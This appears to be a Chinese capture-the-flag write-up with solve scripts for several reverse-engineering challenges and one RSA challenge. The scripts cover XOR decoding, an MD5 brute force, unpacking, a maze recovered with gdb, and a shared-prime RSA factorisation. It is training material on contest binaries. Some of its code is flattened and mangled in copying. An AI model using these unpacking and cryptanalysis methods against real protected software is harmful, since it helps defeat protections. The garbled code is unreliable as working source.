1 2 3 4 5 6 7 8 9 10 if ( strlen (a1) == key ) { for ( i = 0 ; i < key; i += 3 ) { v5[i] = key ^ (a1[i] + 6 ); v4[i + 1 ] = (a1[i + 1 ] - 6 ) ^ key; v3[i + 2 ] = a1[i + 2 ] ^ 6 ^ key; *(_BYTE *)(a2 + i) = v5[i]; *(_BYTE *)(a2 + i + 1L L) = v4[i + 1 ]; *(_BYTE *)(a2 + i + 2L L) = v3[i + 2 ];
Decrypt.py:
1 2 3 4 5 6 7 8 9 10 11 s='izwhroz""w"v.K".Ni' flag='' for i in range(0x12 ): if i%3 ==0 : flag+=chr((ord(s[i])^0x12 )-0x6 ) elif i%3 ==1 : flag+=chr((ord(s[i])^0x12 )+0x6 ) elif i%3 ==2 : flag+=chr(ord(s[i])^0x12 ^0x6 ) print(flag)
奇怪的数组 程序意思是将checkbox作为字典,flag分成两段,满足checkbox=16*v3+v12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 a = [0xAD ,0x46 ,0x1E ,0x20 ,0x3C ,0x79 ,0x75 ,0xB3 ,0x5E ,0x52 ,0x79 ,0x60 ,0xCB ,0xFE ,0xB0 ,0x6C ] b = [48 ,49 ,50 ,51 ,52 ,53 ,54 ,55 ,56 ,57 ,97 ,98 ,99 ,100 ,101 ,102 ] flag = '' for x in range(len(a)): for i in range(len(b)): for j in range(len(b)): if ((b[i]>47 and b[i]<=57 )):tmp = b[i] -48 else : tmp = b[i] - 87 if ((b[j]>47 and b[j]<=57 )):mmp = b[j] -48 else : mmp = b[j] - 87 if ((tmp*16 +mmp) == a[x]) : flag += chr(b[i]) flag += chr(b[j])
Easy-Android 用工具反编译后,Java源码中对flag进行md5加密和异或操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import hashliba=["2061e19de42da6e0de934592a2de3ca0" ,"a81813dabd92cefdc6bbf28ea522d2d1" ,"4b98921c9b772ed5971c9eca38b08c9f" ,"81773872cbbd24dd8df2b980a2b47340" ,"73b131aa8e4847d27a1c20608199814e" ,"bbd7c4e20e99f0a3bf21c148fe22f21d" ,"bf268d46ef91eea2634c34db64c91ef2" ,"0862deb943decbddb87dbf0eec3a06cc" ] for i in range(128 ): for j in range(128 ): for k in range(128 ): for l in range(128 ): b="" +chr(i)+chr(j)+chr(k)+chr(l) cipher=hashlib.md5(b.encode("utf-8" )).hexdigest() if (cipher==a[0 ]): c="flag" d1="" for i in range(4 ): e=ord(b[i])^ord(c[i]) d1+=chr(e) print('flag[0]' ,d1) if (cipher==a[1 ]): c="{thi" d2="" for i in range(4 ): e=ord(b[i])^ord(c[i]) d2+=chr(e) print('flag[1]' ,d2) if (cipher==a[2 ]): c="s_is" d3="" for i in range(4 ): e=ord(b[i])^ord(c[i]) d3+=chr(e) print('flag[2]' ,d3) if (cipher==a[3 ]): c="_a_f" d4="" for i in range(4 ): e=ord(b[i])^ord(c[i]) d4+=chr(e) print('flag[3]' ,d4) if (cipher==a[4 ]): c="ake_" d5="" for i in range(4 ): e=ord(b[i])^ord(c[i]) d5+=chr(e) print('flag[4]' ,d5) if (cipher==a[5 ]): c="flag" d6="" for i in range(4 ): e=ord(b[i])^ord(c[i]) d6+=chr(e) print('flag[5]' ,d6) if (cipher==a[6 ]): c="_ahh" d7="" for i in range(4 ): e=ord(b[i])^ord(c[i]) d7+=chr(e) print('flag[6]' ,d7) if (cipher==a[7 ]): c="hhh}" d8="" for i in range(4 ): e=ord(b[i])^ord(c[i]) d8+=chr(e) print('' ) print('flag[7]' ,d8) ''' flag[0] bd1d flag[7] ccfa flag[2] f1d3 flag[3] f5a1 flag[1] 6ba7 flag[4] 3ebb flag[5] 0a75 flag[6] 844c '''
BabyXor 查壳:UPolyX v0.5 *,ESP定律脱壳 ,flag分为三段进行加密,逆向解密即可
1 2 3 4 5 6 7 8 9 10 11 12 13 encode1=[0x66 ,0x6D ,0x63 ,0x64 ,0x7f ,0x37 ,0x35 ,0x30 ,0x30 ,0x6b ,0x3a ,0x3c ,0x3b ,0x20 ] encode2=[0x37 ,0x6f ,0x38 ,0x62 ,0x36 ,0x7c ,0x37 ,0x33 ,0x34 ,0x76 ,0x33 ,0x62 ,0x64 ,0x7a ] encode3=[0x1a ,0 ,0 ,0x51 ,0x5 ,0x11 ,0x54 ,0x56 ,0x55 ,0x59 ,0x1d ,0x9 ,0x5d ,0x12 ,0 ] flag='' decode2='7' for i in range(len(encode1)): flag+=chr(i^encode1[i]) for i in range(len(encode2)-1 ): decode2+=chr(encode1[i+1 ]^encode2[i+1 ]^encode1[i]) flag+=decode2+'-' for i in range(len(encode1)-1 ): flag+=chr(i^(encode3[i+1 ]^ord(decode2[i])))
Easy_Maze 由于加密的迷宫以及解密的函数都给了,利用gdb调试到走迷宫的函数,显示出sp,写出迷宫就能写出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 gdb> x/49 xw $sp+8 0x7fffffffdf20 : 0x00000001 0x00000000 0x00000000 0x00000001 0x7fffffffdf30 : 0x00000001 0x00000001 0x00000001 0x00000001 0x7fffffffdf40 : 0x00000000 0x00000001 0x00000001 0x00000000 0x7fffffffdf50 : 0x00000000 0x00000001 0x00000001 0x00000001 0x7fffffffdf60 : 0x00000001 0x00000000 0x00000001 0x00000001 0x7fffffffdf70 : 0x00000001 0x00000000 0x00000000 0x00000000 0x7fffffffdf80 : 0x00000001 0x00000001 0x00000000 0x00000000 0x7fffffffdf90 : 0x00000001 0x00000001 0x00000001 0x00000001 0x7fffffffdfa0 : 0x00000000 0x00000000 0x00000000 0x00000001 0x7fffffffdfb0 : 0x00000000 0x00000000 0x00000000 0x00000001 0x7fffffffdfc0 : 0x00000001 0x00000001 0x00000001 0x00000001 0x7fffffffdfd0 : 0x00000001 0x00000001 0x00000001 0x00000000 0x7fffffffdfe0 : 0x00000001 迷宫: 1001111 1011001 1110111 0001100 1111000 1000111 1111101 flag : UNCTF{ssddwdwdddssaasasaaassddddwdds}
crypto 不仅仅是RSA 视频利用运行脚本得到两段密文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import libnumimport gmpy2n1 = 10285341668836655607404515118077620322010982612318568968318582049362470680277495816958090140659605052252686941748392508264340665515203620965012407552377979 e =0xa105 p1 = 95652716952085928904432251307911783641637100214166105912784767390061832540987 q1 = 107527961531806336468215094056447603422487078704170855072884726273308088647617 c1 = 4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351 n2 = 8559553750267902714590519131072264773684562647813990967245740601834411107597211544789303614222336972768348959206728010238189976768204432286391096419456339 p2 = 89485735722023752007114986095340626130070550475022132484632643785292683293897 q2 = 95652716952085928904432251307911783641637100214166105912784767390061832540987 c2 = 485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349 d1 = gmpy2.invert(e,(p1-1 )*(q1-1 )) d2 = gmpy2.invert(e,(p2-1 )*(q2-1 )) m1 = pow(c1,d1,n1) m2 = pow(c2,d2,n2) print(libnum.n2s(m1)) print(libnum.n2s(m2))